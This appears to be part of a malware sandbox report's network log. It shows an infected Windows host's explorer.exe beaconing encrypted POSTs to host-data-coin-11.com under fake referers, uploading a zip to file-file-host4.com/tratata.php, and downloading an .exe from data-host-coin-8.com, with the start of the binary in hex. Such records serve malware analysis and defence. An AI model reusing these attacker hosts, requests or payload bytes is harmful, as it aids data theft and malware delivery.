Dec 28, 2021 05:19:05.040293932 CET	3966	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vdbegiq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 228 Host: host-data-coin-11.com
Dec 28, 2021 05:19:05.040309906 CET	3966	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 89 66 5d 02 c9 a1 c1 64 2e dc 88 32 Data Ascii: 7xG5f0@^wmDu$f]d.23zX/-37vhru+Q#]ECX5e%U*!2O[4d[c5.E'p(.bMXip#CgTTgnY<P
Dec 28, 2021 05:19:05.152545929 CET	3967	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49744	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:39.398152113 CET	1166	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ycifwuti.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 218 Host: host-data-coin-11.com
Dec 28, 2021 05:18:39.398168087 CET	1167	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 3c b8 c3 63 Data Ascii: 7xG5f0@^wmDu$f]d<cifM)HPA :\|g(N<yt@[HgJGjLF[2V_ :Vq)g\|q2]8B0Kyk.WyG
Dec 28, 2021 05:18:39.521003962 CET	1167	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 1a b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49802	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:05.251930952 CET	3968	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eoepn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 146 Host: host-data-coin-11.com
Dec 28, 2021 05:19:05.251959085 CET	3968	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 86 66 5d 02 c8 a1 c1 64 17 a3 af 1d Data Ascii: 7xG5f0@^wmDu$f]dkq\|Kh}(BdBJAMb]2)&"3}~NZfHW\(zd
Dec 28, 2021 05:19:05.365952015 CET	3969	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49803	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:05.473021984 CET	3970	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jrhtrk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: host-data-coin-11.com
Dec 28, 2021 05:19:05.473103046 CET	3970	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 87 66 5d 02 c8 a1 c1 64 3f 87 c2 6b Data Ascii: 7xG5f0@^wmDu$f]d?k\|b]F3P/WzWgE4hn`XWVX/4>Sc/'9AR9V50J'7!d,x\V/4aJ2;7k0@k:gLt%M@
Dec 28, 2021 05:19:05.593245983 CET	3973	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49811	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:12.566554070 CET	11840	OUT	POST /tratata.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----A1VKFU3EKF3E3790 Host: file-file-host4.com Content-Length: 104449 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9
Dec 28, 2021 05:19:12.566692114 CET	11852	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 31 56 4b 46 55 33 45 4b 46 33 45 33 37 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 56 53 4a 35 58 54 4a 35 58 42 49 Data Ascii: ------A1VKFU3EKF3E3790Content-Disposition: form-data; name="file"VSJ5XTJ5XBIE37Q1.zip------A1VKFU3EKF3E3790Content-Disposition: form-data; name="file"; filename="VSJ5XTJ5XBIE37Q1.zip"Content-Type: application/octet-streamContent-
Dec 28, 2021 05:19:12.633075953 CET	11853	OUT	Data Raw: dc cb 78 0f 3f e9 78 e5 a3 18 7e fa f7 e3 c1 3a 4f 7e c1 d8 59 25 26 94 8b 1f d9 c3 fa 4e d5 9b b7 d3 97 cd 49 9f f0 f5 65 06 3c a7 f0 29 9e 9b c5 01 d4 39 0d 1d e7 ad 2f 65 0f 2c 0d 87 77 93 ff 5a b6 35 ef 49 da 37 1f dd ac c5 01 03 61 66 4d f0 Data Ascii: x?x~:O~Y%&NIe<)9/e,wZ5I7afMsS'C) iFxx7K(M_?~\|o4/FG?t\|}N1p@h*U.EUW\5+<8`$[ h0f8\V~WB7TdjyEuq&"'7F
Dec 28, 2021 05:19:12.633156061 CET	11856	OUT	Data Raw: 19 fa 05 b1 60 19 88 eb 61 59 90 0d 04 82 66 10 f6 af 88 16 50 48 fc 3b eb 9f 29 92 d2 51 05 cb c4 a6 ae 94 b5 e2 63 d8 01 1f 89 49 fe 59 1c d0 02 dd 04 ed 23 de 97 29 f9 2f b1 10 ef aa a4 c1 1b 53 72 7c c2 0b 9e 99 3f 76 bb c7 bc bb 4f 79 f1 da Data Ascii: `aYfPH;)QcIY#)/Sr\|?vOy\|YgL5P%'\|ymGCGw2ws,m~UOE9z,17mp/-%9O8X[N)>[y,GZ$]J7]qC{w?
Dec 28, 2021 05:19:12.633189917 CET	11859	OUT	Data Raw: 8a 42 24 12 7d 18 f3 98 ef d3 6c 41 46 6c 09 72 23 08 95 2e 23 9d a2 6c 92 47 24 ca 3a 35 31 fe 5a 8c 81 36 1b cf a7 9a ed 1f 76 f4 9b ef 34 f8 80 f0 27 53 ea b7 03 0a e4 b0 37 cd ad cd 37 57 2f a1 bb 1f 92 d3 12 b7 46 b7 89 6c a5 5b 79 e4 af 90 Data Ascii: B$}lAFlr#.#lG$:51Z6v4'S77W/Fl[y9E\|UDSW%>r=@U5Q~nQDO*\Db_PLX=WqD/lb[.o=!olpUH`K[26}9?7#XzLYElS
Dec 28, 2021 05:19:12.633200884 CET	11861	OUT	Data Raw: e6 ba 56 43 05 6a da 24 d1 07 5b 67 60 1b fe c7 83 f8 55 58 ff ee 3e 8c e1 54 ff 3e cc 77 b5 1b 95 ca fb 22 db 62 4a 23 e2 7a 0f d2 71 ae 98 c7 7e 29 cc 31 7a 95 3c 8c 4b 2c af cf a0 ef 99 b3 86 c3 24 d2 78 2b e2 f9 1c 9f 42 6b 75 4d 88 95 cb 4b Data Ascii: VCj$[g`UX>T>w"bJ#zq~)1z<K,$x+BkuMK5wg,5=#I0/Uq1^L {e%r`\|GgQKOh:N17VdrR4*$/#Ku'ciaT6WAK/
Dec 28, 2021 05:19:12.633434057 CET	11869	OUT	Data Raw: 1f 37 14 7f 0f 80 43 5a f9 18 f3 30 19 44 98 55 83 7b 0e cb c3 4e 9b 1b 8e 96 fb fc fc 56 46 16 ea 01 75 bf fc 49 b4 ae c4 4c 37 30 9f e8 4e 4b e3 80 8c bb 97 1a df 70 40 db a0 6b a8 87 a5 8e d3 0b e7 5f 19 64 5b cd b3 5a 6f f6 2f fd cd ff 3e 20 Data Ascii: 7CZ0DU{NVFuIL70NKp@k_d[Zo/> wD.^QbeI+2dAhH#nY?b0nU2oJ1~":+6;p\?c(D64C&U,!sou'>:DD?
Dec 28, 2021 05:19:12.633856058 CET	11877	OUT	Data Raw: 48 e9 58 4b 65 c6 ea 56 27 6b a6 e6 3f 09 fc 1e aa 03 07 38 a1 d9 18 08 80 d7 bd ff ad f5 0e c1 7e 55 85 62 32 f0 6b ae d1 e1 73 b6 da 68 32 2c 2c c2 0f 36 74 e0 1f 08 51 30 64 e6 35 50 1c 7b f7 b3 22 af a2 51 cf 68 0e 31 34 e8 f0 e1 af c6 30 18 Data Ascii: HXKeV'k?8~Ub2ksh2,,6tQ0d5P{"Qh140D<W5]=(:V&KDKQ?}:88By^u/Qzi;=8WlL@Ju(b>#'[0`fNhy(bgt\|u
Dec 28, 2021 05:19:12.699764967 CET	11881	OUT	Data Raw: 14 69 6c 75 84 7b 97 55 23 16 63 b8 d5 34 30 57 f5 a0 1e d0 4a f1 c9 45 d8 da fc f7 d8 4a db 12 a2 aa e6 d9 f7 ec 1b b0 83 c4 d9 b7 e7 96 d3 35 5f 02 2c 43 40 3f cf 24 dd 46 4c 2f 67 f6 97 39 43 c3 55 7f a8 ec 74 06 3a 72 b3 06 51 ad a4 c8 c2 e5 Data Ascii: ilu{U#c40WJEJ5_,C@?$FL/g9CUt:rQYM#wW}()z5t_`{3/T<;NvP;wa/L<7H6mdzU9Cz"E\;}M`Lw -*(a>
Dec 28, 2021 05:19:12.699815989 CET	11887	OUT	Data Raw: cf bc 71 96 f1 45 79 84 65 9d 91 da 64 ed 0c 1a f0 1b 0d 90 fc ed 91 bf 70 dd 72 65 7c 24 c0 f5 99 ac c8 8e e2 b0 f5 bd b3 83 37 ce 44 e8 11 77 f9 88 8d c6 4b 61 99 e3 af b7 6d 9e 8f df 31 8a 5f bb 1a cc 54 a4 ba e6 6f d7 51 bb cf 04 8a 37 39 7c Data Ascii: qEyedpre\|$7DwKam1_ToQ79\|y(abxW=/S-20_D+:0"#v<NPv6Al?~WPf-(O]cRrC$Pn!CSl!TM-f
Dec 28, 2021 05:19:12.699930906 CET	11889	OUT	Data Raw: 84 4f c3 29 a2 34 2d 4b 89 2b d5 ae 80 ee e8 65 26 16 de 4d dc 98 c6 d2 b4 64 90 94 ad a1 01 dd a3 62 bd 6d ad 5b eb f0 71 53 99 b8 e0 79 16 c1 a1 fd e4 bc 60 cd da 74 97 4c 0b bb 49 e3 ad 30 bd e2 64 2d ff 45 6a f1 1a 1d 9e d2 21 7f 05 09 87 02 Data Ascii: O)4-K+e&Mdbm[qSy`tLI0d-Ej!D~85ug4NO.GxF-?Z_H_o2+c^w`[R93q#=0Z@R{llIFgh
Dec 28, 2021 05:19:13.314815044 CET	11951	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Tue, 28 Dec 2021 04:19:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49822	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:28.089904070 CET	12477	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jwibqkk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 355 Host: host-data-coin-11.com
Dec 28, 2021 05:19:28.090147018 CET	12478	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 38 a1 9d 13 Data Ascii: 7xG5f0@^wmDu$f]d8[b&Rud8A1&bZvYzkrZ9Q!>3NA302DZt=rD.cn`^Iq!Qy!Or)lZ,^B)'r-H=
Dec 28, 2021 05:19:28.206389904 CET	12478	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49823	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:28.400724888 CET	12479	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xnipfqvpe.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 354 Host: host-data-coin-11.com
Dec 28, 2021 05:19:28.400748014 CET	12480	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 85 66 5d 02 c8 a1 c1 64 3d cb 90 16 Data Ascii: 7xG5f0@^wmDu$f]d=+cf9nx$QT6@n\qq>,8^O@6}`VITN;&as<,S^y*:&_\U7GZFe%+"b~_}7]?wICX
Dec 28, 2021 05:19:28.518903017 CET	12480	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c ee af 88 70 bc 57 dd 42 d0 fc 25 84 26 e8 c3 90 52 2e ee a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWB%&R.c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49824	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:28.907268047 CET	12481	OUT	GET /files/2264_1640622147_2258.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Dec 28, 2021 05:19:29.004529953 CET	12482	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:28 GMT Content-Type: application/x-msdos-program Content-Length: 844800 Connection: close Last-Modified: Mon, 27 Dec 2021 16:22:27 GMT ETag: "ce400-5d4231c541a6e" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 92 ed 9f 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 9e 0b 00 00 26 09 00 00 00 00 00 30 ee 09 00 00 10 00 00 00 b0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 48 00 00 04 00 00 92 c0 0d 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 9c 0b 00 28 00 00 00 00 40 14 00 90 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 28 21 00 00 60 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b0 9d 0b 00 00 10 00 00 00 9e 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 b0 0b 00 00 8c 00 00 00 a2 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 68 75 77 75 00 00 00 05 00 00 00 00 20 14 00 00 02 00 00 00 2e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 73 61 78 00 00 00 00 93 0d 00 00 00 30 14 00 00 0e 00 00 00 30 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 b2 33 00 00 40 14 00 00 64 00 00 00 3e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 40 00 00 00 00 48 00 00 42 00 00 00 a2 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 9f 0b 00 74 9f 0b 00 88 9f 0b 00 9a 9f 0b 00 ac 9f 0b 00 c2 9f 0b 00 d2 9f 0b 00 e8 9f 0b 00 f8 9f 0b 00 14 a0 0b 00 28 a0 0b 00 3c a0 0b 00 52 a0 0b 00 6c Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@/LQ/x*IAC@/yv/HA/OARich@PEL_&0@PHL(@bH(!`@.text `.dataho@.huwu .@.sax00@.rsrc3@d>@@.reloc@HB@BXt(<Rl
Dec 28, 2021 05:19:29.004614115 CET	12483	IN	Data Raw: a0 0b 00 86 a0 0b 00 9e a0 0b 00 b2 a0 0b 00 be a0 0b 00 cc a0 0b 00 e4 a0 0b 00 06 a1 0b 00 12 a1 0b 00 22 a1 0b 00 3e a1 0b 00 50 a1 0b 00 60 a1 0b 00 6e a1 0b 00 78 a1 0b 00 86 a1 0b 00 92 a1 0b 00 a4 a1 0b 00 bc a1 0b 00 ca a1 0b 00 da a1 0b Data Ascii: ">P`nx.L^t*8JVbt$@^z,
